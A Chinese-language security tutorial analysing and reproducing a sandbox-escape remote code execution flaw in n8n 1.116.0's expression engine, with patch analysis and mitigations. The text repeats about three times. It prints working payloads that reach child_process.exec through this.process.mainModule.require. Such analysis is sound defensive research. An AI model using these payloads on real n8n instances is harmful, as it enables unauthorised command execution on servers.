n8n 表达式沙箱逃逸导致远程代码执行漏洞分析
字数 1227
更新时间 2025-12-31 12:07:43

n8n 表达式沙箱逃逸漏洞分析与复现教学

漏洞概述

本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞,该漏洞允许攻击者通过特制表达式实现远程代码执行。

环境搭建

版本信息

  • 漏洞版本: n8n 1.116.0
  • 表达式引擎: @n8n/tournament

安装步骤

  1. 下载指定版本代码:
https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0
  1. 解决依赖安装问题:
git init
pnpm install
pnpm build

技术背景

表达式引擎特性

n8n使用tournament作为表达式解析引擎,该引擎支持执行JavaScript代码。关键特性包括:

  • 表达式格式:={{expression}}
  • 执行上下文:this指向传入的data值
  • 执行机制:通过tournament.execute()方法解析表达式

表达式执行流程分析

  1. 入口函数tournament.execute()
  2. 评估阶段:进入evaluate()方法
  3. 函数构建:构建执行函数
  4. 实际调用:通过fn.call()执行表达式

漏洞原理分析

关键发现

在n8n 1.116.0版本中,表达式执行存在上下文污染问题:

  • this指向全局对象而非预期上下文
  • 通过this.process.mainModule可访问Node.js核心模块

漏洞利用链

this → global对象 → process.mainModule → require() → 任意模块加载

漏洞复现

基础测试

首先验证this指向:

={{this}}

确认返回全局对象而非受限上下文

命令执行构造

利用Node.js立即执行函数实现代码执行:

{{this.process.mainModule.require('child_process').exec('calc.exe');}}

完整攻击向量

构造立即执行函数确保代码在表达式评估时执行:

{{(function(){ return this.process.mainModule.require('child_process').exec('calc.exe'); })()}}

补丁分析

修复提交

官方修复commit:08f332015153decdda3c37ad4fcb9f7ba13a7c79

防护机制

  1. 前置检查函数:添加before: [FunctionThisSanitizer]
  2. 属性限制:对三个关键属性进行安全检查:
    • mainModule
    • binding
    • _load

安全检查实现

使用isSafeObjectProperty函数检查属性访问:

  • 检查属性:__proto__, prototype, constructor, getPrototypeOf
  • 限制危险模块访问

漏洞验证步骤

手动测试

  1. 在n8n表达式编辑器中输入测试payload
  2. 观察命令执行结果(calc.exe弹窗)
  3. 确认漏洞存在性

调试方法

  1. 设置断点在FunctionThisSanitizer检查点
  2. 跟踪属性访问流程
  3. 验证绕过可能性

技术要点总结

关键漏洞点

  1. 上下文污染this绑定到全局对象
  2. 模块加载失控:通过mainModule无限制加载模块
  3. 执行机制缺陷:缺乏适当的沙箱隔离

利用条件

  • 拥有表达式编辑权限
  • 目标运行在Node.js环境
  • 未应用安全补丁的n8n版本

防护建议

  1. 及时更新到已修复版本
  2. 限制表达式编辑权限
  3. 实施输入验证和过滤
  4. 使用最小权限原则运行n8n服务

本教学文档完整呈现了漏洞分析、复现和防护的全过程,为安全研究和防护措施提供技术参考。

n8n 表达式沙箱逃逸漏洞分析与复现教学

漏洞概述

本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞,该漏洞允许攻击者通过特制表达式实现远程代码执行。

环境搭建

版本信息

  • 漏洞版本: n8n 1.116.0
  • 表达式引擎: @n8n/tournament

安装步骤

  1. 下载指定版本代码:
https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0
  1. 解决依赖安装问题:
git init
pnpm install
pnpm build

技术背景

表达式引擎特性

n8n使用tournament作为表达式解析引擎,该引擎支持执行JavaScript代码。关键特性包括:

  • 表达式格式:={{expression}}
  • 执行上下文:this指向传入的data值
  • 执行机制:通过tournament.execute()方法解析表达式

表达式执行流程分析

  1. 入口函数tournament.execute()
  2. 评估阶段:进入evaluate()方法
  3. 函数构建:构建执行函数
  4. 实际调用:通过fn.call()执行表达式

漏洞原理分析

关键发现

在n8n 1.116.0版本中,表达式执行存在上下文污染问题:

  • this指向全局对象而非预期上下文
  • 通过this.process.mainModule可访问Node.js核心模块

漏洞利用链

this → global对象 → process.mainModule → require() → 任意模块加载

漏洞复现

基础测试

首先验证this指向:

={{this}}

确认返回全局对象而非受限上下文

命令执行构造

利用Node.js立即执行函数实现代码执行:

{{this.process.mainModule.require('child_process').exec('calc.exe');}}

完整攻击向量

构造立即执行函数确保代码在表达式评估时执行:

{{(function(){ return this.process.mainModule.require('child_process').exec('calc.exe'); })()}}

补丁分析

修复提交

官方修复commit:08f332015153decdda3c37ad4fcb9f7ba13a7c79

防护机制

  1. 前置检查函数:添加before: [FunctionThisSanitizer]
  2. 属性限制:对三个关键属性进行安全检查:
    • mainModule
    • binding
    • _load

安全检查实现

使用isSafeObjectProperty函数检查属性访问:

  • 检查属性:__proto__, prototype, constructor, getPrototypeOf
  • 限制危险模块访问

漏洞验证步骤

手动测试

  1. 在n8n表达式编辑器中输入测试payload
  2. 观察命令执行结果(calc.exe弹窗)
  3. 确认漏洞存在性

调试方法

  1. 设置断点在FunctionThisSanitizer检查点
  2. 跟踪属性访问流程
  3. 验证绕过可能性

技术要点总结

关键漏洞点

  1. 上下文污染this绑定到全局对象
  2. 模块加载失控:通过mainModule无限制加载模块
  3. 执行机制缺陷:缺乏适当的沙箱隔离

利用条件

  • 拥有表达式编辑权限
  • 目标运行在Node.js环境
  • 未应用安全补丁的n8n版本

防护建议

  1. 及时更新到已修复版本
  2. 限制表达式编辑权限
  3. 实施输入验证和过滤
  4. 使用最小权限原则运行n8n服务

本教学文档完整呈现了漏洞分析、复现和防护的全过程,为安全研究和防护措施提供技术参考。

n8n 表达式沙箱逃逸漏洞分析与复现教学 漏洞概述 本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞,该漏洞允许攻击者通过特制表达式实现远程代码执行。 环境搭建 版本信息 漏洞版本 : n8n 1.116.0 表达式引擎 : @n8n/tournament 安装步骤 下载指定版本代码: 解决依赖安装问题: 技术背景 表达式引擎特性 n8n使用tournament作为表达式解析引擎,该引擎支持执行JavaScript代码。关键特性包括: 表达式格式: ={{expression}} 执行上下文: this 指向传入的data值 执行机制:通过 tournament.execute() 方法解析表达式 表达式执行流程分析 入口函数 : tournament.execute() 评估阶段 :进入 evaluate() 方法 函数构建 :构建执行函数 实际调用 :通过 fn.call() 执行表达式 漏洞原理分析 关键发现 在n8n 1.116.0版本中,表达式执行存在上下文污染问题: this 指向全局对象而非预期上下文 通过 this.process.mainModule 可访问Node.js核心模块 漏洞利用链 漏洞复现 基础测试 首先验证 this 指向: 确认返回全局对象而非受限上下文 命令执行构造 利用Node.js立即执行函数实现代码执行: 完整攻击向量 构造立即执行函数确保代码在表达式评估时执行: 补丁分析 修复提交 官方修复commit:08f332015153decdda3c37ad4fcb9f7ba13a7c79 防护机制 前置检查函数 :添加 before: [FunctionThisSanitizer] 属性限制 :对三个关键属性进行安全检查: mainModule binding _load 安全检查实现 使用 isSafeObjectProperty 函数检查属性访问: 检查属性: __proto__ , prototype , constructor , getPrototypeOf 限制危险模块访问 漏洞验证步骤 手动测试 在n8n表达式编辑器中输入测试payload 观察命令执行结果(calc.exe弹窗) 确认漏洞存在性 调试方法 设置断点在 FunctionThisSanitizer 检查点 跟踪属性访问流程 验证绕过可能性 技术要点总结 关键漏洞点 上下文污染 : this 绑定到全局对象 模块加载失控 :通过 mainModule 无限制加载模块 执行机制缺陷 :缺乏适当的沙箱隔离 利用条件 拥有表达式编辑权限 目标运行在Node.js环境 未应用安全补丁的n8n版本 防护建议 及时更新到已修复版本 限制表达式编辑权限 实施输入验证和过滤 使用最小权限原则运行n8n服务 本教学文档完整呈现了漏洞分析、复现和防护的全过程,为安全研究和防护措施提供技术参考。